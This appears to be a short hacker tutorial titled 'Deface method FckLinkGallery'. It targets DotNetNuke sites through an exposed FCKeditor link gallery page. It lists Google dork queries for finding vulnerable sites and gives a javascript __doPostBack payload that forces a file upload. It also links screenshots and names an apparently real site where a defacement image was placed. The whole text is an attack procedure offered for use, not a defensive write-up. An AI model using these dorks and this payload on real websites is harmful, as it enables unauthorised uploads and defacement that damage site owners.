Deface method FckLinkGallery

inurl:"/portals/0"
inurl:"/portals/1"
inurl:"/portals/2"
inurl:"/portals/0"
inurl:tabid/176/Default.aspx
inurl:"Fck/fcklinkgallery.aspx" site:{domain of site} (for specified attack)
inurl:"Fck/fcklinkgallery.aspx" (for all the sites)

http://s16.postimg.org/sqd9v55ud/Screenshot_8.png

Choose File On site

Put this on url
Exploit:javascript__doPostBack('ctlURL$cmdUpload','')

When open the deface  https://www.notaries.com/portals/0/kyfx.jpg

http://s16.postimg.org/sqd9v55ud/Screenshot_8.png